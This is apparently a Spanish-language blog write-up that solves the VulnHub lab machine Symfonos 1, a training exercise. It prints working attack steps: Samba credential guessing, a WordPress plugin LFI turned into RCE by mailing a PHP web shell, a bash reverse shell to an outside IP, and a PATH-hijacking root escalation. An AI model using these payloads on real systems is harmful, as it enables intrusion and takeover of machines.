Entrada

Symfonos 1

En este artículo, abordaremos la resolución de la máquina Symfonos 1 de la plataforma VulnHub. En primer lugar, logramos acceder a un recurso compartido a través de Samba utilizando las credenciales del usuario anonymous. Dentro de este recurso, encontramos un archivo que contiene posibles contraseñas utilizadas por usuarios del sistema. Al utilizar una de estas contraseñas junto con un usuario específico, conseguimos acceso a otro recurso compartido que contiene un archivo revelando una ruta del sitio web. A continuación, explotamos una vulnerabilidad de LFI (Local File Inclusion) en un plugin de este CMS para leer archivos del sistema. Posteriormente, convertimos la LFI en un RCE (Remote Code Execution) para obtener acceso a la máquina víctima. Finalmente, para escalar nuestros privilegios, aprovechamos una vulnerabilidad de Path Hijacking en un binario con privilegios SUID.

Reconocimiento

Comenzamos lanzando una traza ICMP a la máquina objetivo para comprobar que tengamos conectividad.

Symfonos 1 Reconocimento usando el comando ping

Vemos que responde al envío de nuestro paquete, verificando de esta manera que tenemos conectividad. Por otra parte, confirmamos que estamos frente a una máquina Linux basandonos en el TTL (Time To Live).

Descubrimiento de puertos abiertos

Realizamos un escaneo con nmap para descubrir que puertos TCP se encuentran abiertos en la máquina víctima.

1
nmap -sS -p- --open --min-rate 5000 192.168.1.12 -oG scanPorts -vvv

Symfonos 1 Descubrimiento de puertos abiertos

ver la Cheatsheet para más detalle sobre los parámetros utilizados.

Enumeración de versión y servicio

Lanzamos una serie de script básicos de enumeración propios de nmap, para conocer la versión y servicio que esta corriendo bajo los puertos abiertos.

1
nmap -sCV -p22,25,80,139,445 -oN targeted -vvv 192.168.1.12

Symfonos 1 Descubrimiento de versión y servicio con nmap

ver la Cheatsheet para más detalle sobre los parámetros utilizados.

Enumeración Samba

Al analizar nuestros resultados de escaneo de puertos, observamos la presencia de varios puertos abiertos, incluido el puerto 445 (Samba). Sería conveniente verificar si tenemos acceso a algún recurso compartido, como por ejemplo, utilizando el usuario anonymous.

Symfonos 1 Enumeración Samba

Podemos notar, que tenemos acceso al recurso compartido anonymous como el usuario anonymous. Si listamos de forma recursiva lo que hay dentro de este recurso, vemos que encontramos con un fichero llamado attention.txt.

Symfonos 1 Enumeración Samba - recurso anonymous

Descargamos el archivo y vemos lo que contine.

Symfonos 1 Archivo attention.txt

Symfonos 1 Archivo attention.txt

El archivo indica posibles credenciales como epidioko, qwerty, baseball.

Pero la cuestión aquí es quien podría estar usando alguna de estas credenciales.

Podríamos utilizar un diccionario de usuarios para realizar fuerza bruta, pero si recordamos nuestra enumeración inicial de samba, existe un recurso compartido llamado helios, que posiblemente también sea un usuario del sistema.

Teniendo esto en cuenta, podemos probar estas credenciales: helios:epidioko, helios:qwerty y helios:baseball para conectarnos por ssh. Pero ya se los adelanto, no tendremos exito, ya que ninguna de estras credenciales serán validas para conectarnos a través de este protocolo.

Sin embargo, donde si tenemos éxito es en el protocolo Samba, utilizando las credenciales helios:qwerty.

1
smbmap -u "helios" -p "qwerty" -H 192.168.1.12

Symfonos 1 Usuario helios - Samba

Listamos de forma recursiva el recurso compartido helios y nos encontramos con varios ficheros, los cuales descargamos a nuestra máquina atacante.

1
smbmap -u "helios" -p "qwerty" -H 192.168.1.12 -r 'helios'

Symfonos 1 Recurso compartido helios

Symfonos 1 Archivo research.txt

Symfonos 1 Archivo todo.txt

Podemos observar, que este ultimo archivo nos revela una ruta /h3l105

Enumeración Web

Al ingresar al sitio web, nos encontramos con lo siguiente:

Symfonos 1 Web Symfonos 1

Tras realizar un breve reconocimiento con la herramienta WhatWeb, observamos que la información revelada es limitada, mostrando únicamente la versión de Apache (2.4.25) y el sistema operativo Debian.

Symfonos 1 whatweb Symfonos 1

Al acceder a la ruta indicada en el archivo todo.txt ( /h3l105), nos encontramos con lo que parece ser una instancia de Wordpress.

Symfonos 1 Wordpress

No se están cargando los estilos CSS ni los scripts correspondientes, ya que se está intentando resolver un dominio que no existe.

Symfonos 1 Wordpress

Para lo cual, debemos agregar este dominio a nuestro archivo hosts.

1
echo '192.168.1.12 symfonos.local' >> /etc/hosts

De esta forma, si recargamos la web podemos ver que se cargan de forma correcta todos los recursos.

Symfonos 1 Wordpress

Si miramos lo que reporta Wappalyzer podemos observar que estamos frente a un Wordpress (5.2.2).

Symfonos 1 Wappalyzer

Explotación

Podemos enumerar un CMS Wordpress utilizando distintas herramientas, como wpscan, nuclei, ffuf, gobuster, nmap entre otras. En este caso, usaré nmap para enumerar temas y plugins.

Symfonos 1 Enumeración de Temas y Plugins de Wordpress unsando nmap

Podemos notar, que la enumeración reporta dos plugins, entre ellos site-editor 1.1.1.

Si realizamos una búsqueda con la herramienta searchsploit, podemos ver que este plugin en esta versión especifica es vulnerable a LFI (Local File Inclusion).

Symfonos 1 searchploit site-editor-1.1.1

Symfonos 1 searchploit site-editor-1.1.1

Si ejecutamos el PoC que nos comparten, podemos observar que efectivamente se acontese el LFI, pudiendo leer por ejemplo el archivo /etc/passwd.

Symfonos 1 Archivo /etc/passwd Symfonos 1

Usuario helios

Ahora que podemos leer archivos del sistema, debemos buscar una vía potencial para ganar acceso. En otras palabras, podemos aprovechar el LFI para convertirlo en un RCE.

Para ello, si recordamos nuestro escaneo inicial de puertos teniamos el puerto 25 (SMTP) abierto, es decir, que podemos realizar envios de correos.

A su vez, podemos leer el archivo /var/mail/helios del usuario helios.

Symfonos 1 Archivo /var/mail/helios Symfonos 1

De esta forma, si logramos inyectar código php en nuestro mensaje de correo, tendremos una vía para ganar acceso al sistema.

Para enviar este correo debemos ejecutar lo siguiente.

  1. Ejecutar el comando telnet seguido de la dirección del servidor SMTP y el puerto SMTP estándar, que es el puerto 25:
1
telent 192.168.1.12 25
  1. Deberías ver una respuesta del servidor SMTP que indica la conexión se ha establecido correctamente.
  2. Saludamos al servidor SMTP escribiendo HELO seguido del nombre de dominio de correo electrónico (puede ser ficticio).
1
HELO example.com
  1. El servidor responderá con un mensaje de saludo
  2. Luego, debemos indicar la dirección del remitente con el comando MAIL FROM: seguido de la dirección de correo electrónico del remitente.
1
MAIL FROM: d4redevil@symfonos.localdomain
  1. El servidor respnderá confirmando la dirección del remitente
  2. Debemos especificar la dirección del destinatario con el comando RCPT TO: seguido de la dirección de correo electrónico del destinatario.
1
RCPT TO: helios@symfonos.localdomain
  1. El servidor responderá confirmando la dirección del destinatario.
  2. Ahora estamos listos para escribir el cuerpo del mensaje. Para empezar, debemos escribir DATA y presionar Enter. El servidor responderá con un mensaje indicando que está listo para recibir el cuerpo del mensaje.
  3. En este caso, el cuerpo de nuestro mensaje contendrá el siguiente código php.
1
<?php system($_GET['cmd']); ?>
  1. Por ultimo, debemos presionar Enter y terminar con un punto . y volver a presionar Enter.
  2. El servidor responderá confirmando que el mensaje ha sido aceptado para entrega.
  3. Una vez enviado el mensaje, podemos cerrar la conexión escribiendo QUIT.

Para comprobar que tenemos ejecución de comandos, podemos ingresar a la siguiente ruta y pasar como parámetro cmd=id.

Symfonos 1 Archivo /var/mail/helios Symfonos 1

Symfonos 1 Archivo /var/mail/helios Symfonos 1

De esta manera, vemos que podemos ejecutar comandos de forma remota. Para lo cual, podemos ejecutar una reverse shell para ganar acceso al sistema.

Nos ponemos en escucha con netcat por el puerto 443.

1
nc -lnvp 443

Y enviamos como valor de cmd el siguiente payload

1
bash -i >%26 /dev/tcp/192.168.1.14/443 0>%261

Debemos encodear el & como %26 para no tener problemas en la interpretación de nuestro código.

De esta forma, ganamos acceso al sistema como el usuario helios.

Symfonos 1 Usuario helios Symfonos 1

Hacemos el tratamiento de la tty para tener una terminal más interactiva:

  • script /dev/null -c bash
  • CTRL + Z
  • stty raw -echo; fg
  • reset xterm
  • export TERM=xterm
  • export SHELL=bash
  • stty rows <rows> columns <columns>

Escalación de privilegios

Al realizar una enumeración básica del sistema, podemos ver que existe un binario fuera de lo común con permisos SUID /opt/statuscheck.

Symfonos 1 statuscheck

Si ejecutamos el comando, observamos que la salida es similar a la realizada al momento de ejecutar curl contra el localhost

Symfonos 1 statuscheck

Symfonos 1 curl

Si analizamos el binario utilizando el comando strings, podemos notar que se esta ejecutando efectivamente el comando curl pero de forma relativa, lo cual podemos explotar para elevar nuestros priviegios, lo que se conoce como Path Hijacking.

Symfonos 1 strings /opt/statuscheck

Para ello, nos movemos al directorio tmp y creamos un binario curl que contenga como código bash -p.

1
echo 'bash -p' > curl

Le asignamos permisos de ejecución.

1
chmod +x curl

Y exportamos la variable de entorno PATH para que considere en primer lugar el directorio actual de trabajo.

1
export PATH=.:$PATH

Por ultimo, ejecutamos el binario.

1
/opt/statuscheck

De esta forma, logramos elevar nuestros privilegios.

Symfonos 1 usuario root.txt

Finalmente, leemos el archivo proof.txt.

Symfonos 1 proof.txt

Con esto, concluimos la resolución de la máquina Symfonos 1.

Espero que los conceptos hayan quedado claros. En caso de tener alguna duda, te invito a realizar nuevamente la máquina para afianzar tus conocimientos.

Gracias por tu lectura!

Happy Hacking!

Esta entrada está licenciada bajo CC BY 4.0 por el autor.